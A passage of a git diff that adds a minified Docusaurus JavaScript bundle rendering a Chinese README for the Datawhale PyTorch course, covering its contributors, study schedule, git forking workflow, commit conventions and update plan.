g(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}},28453:(n,e,s)=>{s.d(e,{R:()=>c,x:()=>l});var t=s(96540);const r={},i=t.createContext(r);function c(n){const e=t.useContext(i);return t.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:c(n.components),t.createElement(i.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/31bc9fdd.40cd4761.js b/assets/js/31bc9fdd.40cd4761.js new file mode 100644 index 0000000..e1c4060 --- /dev/null +++ b/assets/js/31bc9fdd.40cd4761.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1155],{16763:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>h,contentTitle:()=>d,default:()=>o,frontMatter:()=>r,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/README","title":"PyTorch","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"AI","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/"},"next":{"title":"\u7b2c\u96f6\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/"}}');var s=n(74848),i=n(28453);const r={},d="PyTorch",h={},c=[{value:"\u4eba\u5458\u5b89\u6392",id:"\u4eba\u5458\u5b89\u6392",level:2},{value:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5",id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5",level:2},{value:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e",id:"\u4e94\u5173\u4e8e\u8d21\u732e",level:2},{value:"Commit Message",id:"commit-message",level:3},{value:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212",id:"\u516d\u66f4\u65b0\u8ba1\u5212",level:2},{value:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988",id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",level:2},{value:"\u516b\u3001\u5173\u6ce8\u6211\u4eec",id:"\u516b\u5173\u6ce8\u6211\u4eec",level:2},{value:"LICENSE",id:"license",level:2}];function x(e){const t={a:"a",br:"br",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"pytorch",children:"PyTorch"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:42"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u6df1\u5165\u6d45\u51fapytorch",children:"\u6df1\u5165\u6d45\u51faPyTorch"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u662f\u5229\u7528\u6df1\u5ea6\u5b66\u4e60\u8fdb\u884c\u6570\u636e\u79d1\u5b66\u7814\u7a76\u7684\u91cd\u8981\u5de5\u5177\uff0c\u5728\u7075\u6d3b\u6027\u3001\u53ef\u8bfb\u6027\u548c\u6027\u80fd\u4e0a\u90fd\u5177\u5907\u76f8\u5f53\u7684\u4f18\u52bf\uff0c\u8fd1\u5e74\u6765\u5df2\u6210\u4e3a\u5b66\u672f\u754c\u5b9e\u73b0\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u6700\u5e38\u7528\u7684\u6846\u67b6\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u8003\u8651\u5230PyTorch\u7684\u5b66\u4e60\u517c\u5177\u7406\u8bba\u50a8\u5907\u548c\u52a8\u624b\u8bad\u7ec3\uff0c\u4e24\u624b\u90fd\u8981\u6293\u4e24\u624b\u90fd\u8981\u786c\u7684\u7279\u70b9\uff0c\u6211\u4eec\u5f00\u53d1\u4e86\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u8bfe\u7a0b\uff0c\u671f\u671b\u4ee5\u7ec4\u961f\u5b66\u4e60\u7684\u5f62\u5f0f\uff0c\u5e2e\u52a9\u5927\u5bb6\u4ece\u5165\u95e8\u5230\u719f\u7ec3\u638c\u63e1PyTorch\u5de5\u5177\uff0c\u8fdb\u800c\u5b9e\u73b0\u81ea\u5df1\u7684\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u6211\u4eec\u7684\u613f\u666f\u662f\uff1a\u901a\u8fc7\u7ec4\u961f\u5b66\u4e60\uff0c\u5927\u5bb6\u80fd\u591f\u638c\u63e1\u7531\u6d45\u5165\u6df1\u5730PyTorch\u7684\u57fa\u672c\u77e5\u8bc6\u548c\u5185\u5bb9\uff0c\u7ecf\u8fc7\u81ea\u5df1\u7684\u52a8\u624b\u5b9e\u8df5\u52a0\u6df1\u64cd\u4f5c\u7684\u719f\u7ec3\u5ea6\u3002\u540c\u65f6\u901a\u8fc7\u9879\u76ee\u5b9e\u6218\uff0c\u5145\u5206\u953b\u70bc\u7f16\u7a0b\u80fd\u529b\uff0c\u638c\u63e1PyTorch\u8fdb\u884c\u6df1\u5ea6\u5b66\u4e60\u7684\u57fa\u672c\u6d41\u7a0b\uff0c\u63d0\u5347\u89e3\u51b3\u5b9e\u9645\u95ee\u9898\u7684\u80fd\u529b\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u5b66\u4e60\u7684\u5148\u4fee\u8981\u6c42\u662f\uff0c\u4f1a\u4f7f\u7528Python\u7f16\u7a0b\uff0c\u4e86\u89e3\u5305\u62ec\u795e\u7ecf\u7f51\u7edc\u5728\u5185\u7684\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\uff0c\u52e4\u4e8e\u52a8\u624b\u5b9e\u8df5\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u662f\u4e00\u4e2a\u7cfb\u5217\uff0c\u4e00\u5171\u6709\u4e09\u4e2a\u90e8\u5206\u3002\u5df2\u7ecf\u4e0a\u7ebf\u7684\u662f\u672c\u7cfb\u5217\u7684\u7b2c\u4e00\u3001\u4e8c\u90e8\u5206\uff0c\u540e\u7eed\u4f1a\u4e0d\u65ad\u66f4\u65b0\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\uff08\u4e0b\uff09\uff0c\u7ed9\u51fa\u66f4\u8d34\u5408\u5b9e\u9645\u5e94\u7528\u7684\u5b9e\u6218\u6848\u4f8b\u3002"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n:caption: \u76ee\u5f55\n\u7b2c\u96f6\u7ae0/index\n\u7b2c\u4e00\u7ae0/index\n\u7b2c\u4e8c\u7ae0/index\n\u7b2c\u4e09\u7ae0/index\n\u7b2c\u56db\u7ae0/index\n\u7b2c\u4e94\u7ae0/index\n\u7b2c\u516d\u7ae0/index\n\u7b2c\u4e03\u7ae0/index\n\u7b2c\u516b\u7ae0/index\n\u7b2c\u4e5d\u7ae0/index\n\u7b2c\u5341\u7ae0/index\n"})}),"\n",(0,s.jsx)(t.h2,{id:"\u4eba\u5458\u5b89\u6392",children:"\u4eba\u5458\u5b89\u6392"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{children:"\u6210\u5458\xa0"}),(0,s.jsx)(t.th,{children:"\u4e2a\u4eba\u7b80\u4ecb"}),(0,s.jsx)(t.th,{children:"\u4e2a\u4eba\u4e3b\u9875"})]})}),(0,s.jsxs)(t.tbody,{children:[(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u725b\u5fd7\u5eb7"}),(0,s.jsx)(t.td,{children:"DataWhale\u6210\u5458\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://www.zhihu.com/people/obeah-82",children:"\u77e5\u4e4e"}),"][",(0,s.jsx)(t.a,{href:"https://nofish-528.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u674e\u5609\u9a90"}),(0,s.jsx)(t.td,{children:"DataWhale\u6210\u5458\uff0c\u6e05\u534e\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://www.zhihu.com/people/li-jia-qi-16-9/posts",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u5218\u6d0b"}),(0,s.jsx)(t.td,{children:"Datawhale\u6210\u5458\uff0c\u4e2d\u56fd\u79d1\u5b66\u9662\u6570\u5b66\u4e0e\u7cfb\u7edf\u79d1\u5b66\u7814\u7a76\u6240\u7814\u7a76\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://www.zhihu.com/people/ming-ren-19-34/asks",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u9648\u5b89\u4e1c"}),(0,s.jsx)(t.td,{children:"DataWhale\u6210\u5458\uff0c\u4e2d\u592e\u6c11\u65cf\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://andongblue.github.io/chenandong.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]})]})]}),"\n",(0,s.jsx)(t.p,{children:"\u6559\u7a0b\u8d21\u732e\u60c5\u51b5\uff08\u5df2\u4e0a\u7ebf\u8bfe\u7a0b\u5185\u5bb9\uff09\uff1a"}),"\n",(0,s.jsx)(t.p,{children:"\u674e\u5609\u9a90\uff1a\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u56db\u7ae0\uff1b\u7b2c\u4e94\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff1b\u5185\u5bb9\u6574\u5408"}),"\n",(0,s.jsx)(t.p,{children:"\u725b\u5fd7\u5eb7\uff1a\u7b2c\u4e00\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff0c\u7b2c\u4e5d\u7ae0\uff0c\u7b2c\u5341\u7ae0\uff1b\u6587\u6863\u90e8\u7f72"}),"\n",(0,s.jsx)(t.p,{children:"\u5218\u6d0b\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0"}),"\n",(0,s.jsx)(t.p,{children:"\u9648\u5b89\u4e1c\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u4e03\u7ae0"}),"\n",(0,s.jsx)(t.h2,{id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5",children:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5"}),"\n",(0,s.jsxs)(t.p,{children:["\u90e8\u5206\u7ae0\u8282\u76f4\u64ad\u8bb2\u89e3\u8bf7\u89c2\u770bB\u7ad9\u56de\u653e\uff08\u6301\u7eed\u66f4\u65b0\uff09\uff1a",(0,s.jsx)(t.a,{href:"https://www.bilibili.com/video/BV1L44y1472Z",children:"https://www.bilibili.com/video/BV1L44y1472Z"})]}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsxs)(t.li,{children:["\n",(0,s.jsx)(t.p,{children:"\u8bfe\u7a0b\u7f16\u6392\uff1a\n\u6df1\u5165\u6d45\u51faPyTorch\u5206\u4e3a\u4e09\u4e2a\u9636\u6bb5\uff1aPyTorch\u6df1\u5ea6\u5b66\u4e60\u57fa\u7840\u77e5\u8bc6\u3001PyTorch\u8fdb\u9636\u64cd\u4f5c\u3001PyTorch\u6848\u4f8b\u5206\u6790\u3002"}),"\n"]}),"\n",(0,s.jsxs)(t.li,{children:["\n",(0,s.jsx)(t.p,{children:"\u4f7f\u7528\u65b9\u6cd5:"}),"\n",(0,s.jsx)(t.p,{children:"\u6211\u4eec\u7684\u8bfe\u7a0b\u5185\u5bb9\u90fd\u4ee5markdown\u683c\u5f0f\u6216jupyter notebook\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728\u672c\u4ed3\u5e93\u5185\u3002\u9664\u4e86\u591a\u770b\u52a0\u6df1\u8bfe\u7a0b\u5185\u5bb9\u7684\u7406\u89e3\u5916\uff0c\u6700\u91cd\u8981\u7684\u8fd8\u662f\u52a8\u624b\u7ec3\u4e60\u3001\u7ec3\u4e60\u3001\u7ec3\u4e60"}),"\n"]}),"\n",(0,s.jsxs)(t.li,{children:["\n",(0,s.jsx)(t.p,{children:"\u7ec4\u961f\u5b66\u4e60\u5b89\u6392:"}),"\n",(0,s.jsx)(t.p,{children:"\u7b2c\u4e00\u90e8\u5206\uff1a\u7b2c\u4e00\u7ae0\u5230\u7b2c\u56db\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a10\u5929\uff1b"}),"\n",(0,s.jsx)(t.p,{children:"\u7b2c\u4e8c\u90e8\u5206\uff1a\u7b2c\u4e94\u7ae0\u5230\u7b2c\u516b\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a11\u5929"}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(t.h2,{id:"\u4e94\u5173\u4e8e\u8d21\u732e",children:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e"}),"\n",(0,s.jsxs)(t.p,{children:["\u672c\u9879\u76ee\u4f7f\u7528",(0,s.jsx)(t.code,{children:"Forking"}),"\u5de5\u4f5c\u6d41\uff0c\u5177\u4f53\u53c2\u8003",(0,s.jsx)(t.a,{href:"https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow",children:"atlassian\u6587\u6863"})]}),"\n",(0,s.jsx)(t.p,{children:"\u5927\u81f4\u6b65\u9aa4\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(t.ol,{children:["\n",(0,s.jsx)(t.li,{children:"\u5728GitHub\u4e0aFork\u672c\u4ed3\u5e93"}),"\n",(0,s.jsx)(t.li,{children:"Clone Fork\u540e\u7684\u4e2a\u4eba\u4ed3\u5e93"}),"\n",(0,s.jsxs)(t.li,{children:["\u8bbe\u7f6e",(0,s.jsx)(t.code,{children:"upstream"}),"\u4ed3\u5e93\u5730\u5740\uff0c\u5e76\u7981\u7528",(0,s.jsx)(t.code,{children:"push"})]}),"\n",(0,s.jsxs)(t.li,{children:["\u4f7f\u7528\u5206\u652f\u5f00\u53d1\uff0c\u8bfe\u7a0b\u5206\u652f\u540d\u4e3a",(0,s.jsx)(t.code,{children:"lecture{#NO}"}),"\uff0c",(0,s.jsx)(t.code,{children:"#NO"}),"\u4fdd\u6301\u4e24\u4f4d\uff0c\u5982",(0,s.jsx)(t.code,{children:"lecture07"}),"\uff0c\u5bf9\u5e94\u8bfe\u7a0b\u76ee\u5f55"]}),"\n",(0,s.jsx)(t.li,{children:"PR\u4e4b\u524d\u4fdd\u6301\u4e0e\u539f\u59cb\u4ed3\u5e93\u7684\u540c\u6b65\uff0c\u4e4b\u540e\u53d1\u8d77PR\u8bf7\u6c42"}),"\n"]}),"\n",(0,s.jsx)(t.p,{children:"\u547d\u4ee4\u793a\u4f8b\uff1a"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:"# fork\n# clone\ngit clone git@github.com:USERNAME/thorough-pytorch.git\n# set upstream\ngit remote add upstream git@github.com:datawhalechina/thorough-pytorch.git\n# disable upstream push\ngit remote set-url --push upstream DISABLE\n# verify\ngit remote -v\n# some sample output:\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (fetch)\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (push)\n# upstream\tgit@github.com:datawhalechina/thorough-pytorch.git (fetch)\n# upstream\tDISABLE (push)\n# do your work\ngit checkout -b lecture07\n# edit and commit and push your changes\ngit push -u origin lecture07\n# keep your fork up to date\n## fetch upstream main and merge with forked main branch\ngit fetch upstream\ngit checkout main\ngit merge upstream/main\n## rebase brach and force push\ngit checkout lecture07\ngit rebase main\ngit push -f\n"})}),"\n",(0,s.jsx)(t.h3,{id:"commit-message",children:"Commit Message"}),"\n",(0,s.jsxs)(t.p,{children:["\u63d0\u4ea4\u4fe1\u606f\u4f7f\u7528\u5982\u4e0b\u683c\u5f0f\uff1a",(0,s.jsx)(t.code,{children:"<type>: <short summary>"})]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{children:"<type>: <short summary>\n \u2502 \u2502\n \u2502 \u2514\u2500\u2af8 Summary in present tense. Not capitalized. No period at the end.\n \u2502\n \u2514\u2500\u2af8 Commit Type: lecture{#NO}|others\n"})}),"\n",(0,s.jsxs)(t.p,{children:[(0,s.jsx)(t.code,{children:"others"}),"\u5305\u62ec\u975e\u8bfe\u7a0b\u76f8\u5173\u7684\u6539\u52a8\uff0c\u5982\u672c",(0,s.jsx)(t.code,{children:"README.md"}),"\u4e2d\u7684\u53d8\u52a8\uff0c",(0,s.jsx)(t.code,{children:".gitignore"}),"\u7684\u8c03\u6574\u7b49\u3002"]}),"\n",(0,s.jsx)(t.h2,{id:"\u516d\u66f4\u65b0\u8ba1\u5212",children:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u5185\u5bb9"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u66f4\u65b0\u65f6\u95f4"}),(0,s.jsx)(t.th,{style:{textAlign:"center"},children:"\u5185\u5bb9"})]})}),(0,s.jsxs)(t.tbody,{children:[(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"visdom\u53ef\u89c6\u5316"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsxs)(t.td,{style:{textAlign:"center"},children:[(0,s.jsx)(t.code,{children:"Visdom"}),"\u7684\u4f7f\u7528"]})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"apex"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"apex\u7684\u7b80\u4ecb\u548c\u4f7f\u7528"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u90e8\u7f72"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"Flask\u90e8\u7f72PyTorch\u6a21\u578b"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"TorchScript"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"TorchScript"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u5e76\u884c\u8bad\u7ec3"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u5e76\u884c\u8bad\u7ec3"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u9884\u8bad\u7ec3 - torchhub"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.4.16"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"torchhub\u7684\u7b80\u4ecb\u548c\u4f7f\u7528\u65b9\u6cd5"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - SSD"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"SSD\u7684\u7b80\u4ecb\u548c\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - RCNN\u7cfb\u5217"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"Fast-RCNN & Mask-RCNN"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - DETR"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"DETR\u7684\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GoogLeNet"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.5.11"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"GoogLeNet\u7684\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - MobileNet\u7cfb\u5217"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.4\u6708"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"MobileNet\u7cfb\u5217\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GhostNet"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.4\u6708"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"GhostNet\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - \u751f\u6210\u624b\u5199\u6570\u5b57\u5b9e\u6218"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.5.25"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u751f\u6210\u6570\u5b57\u5e76\u53ef\u89c6\u5316"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - DCGAN"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u98ce\u683c\u8fc1\u79fb - StyleGAN"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u751f\u6210\u7f51\u7edc - VAE"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u5272 Deeplab\u7cfb\u5217"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"Deeplab\u7cfb\u5217\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 LSTM"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"LSTM\u60c5\u611f\u5206\u6790\u5b9e\u6218"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 Transformer"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 BERT"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u89c6\u9891"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u97f3\u9891"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u5b9a\u4e49CUDA\u6269\u5c55\u548c\u7b97\u5b50"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]})]})]}),"\n",(0,s.jsx)(t.h2,{id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",children:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988"}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsxs)(t.li,{children:["\u975e\u5e38\u611f\u8c22DataWhale\u6210\u5458 \u53f6\u524d\u5764 @",(0,s.jsx)(t.a,{href:"https://github.com/PureBuckwheat",children:"PureBuckwheat"})," \u548c \u80e1\u9510\u950b @",(0,s.jsx)(t.a,{href:"https://github.com/Relph1119",children:"Relph1119"})," 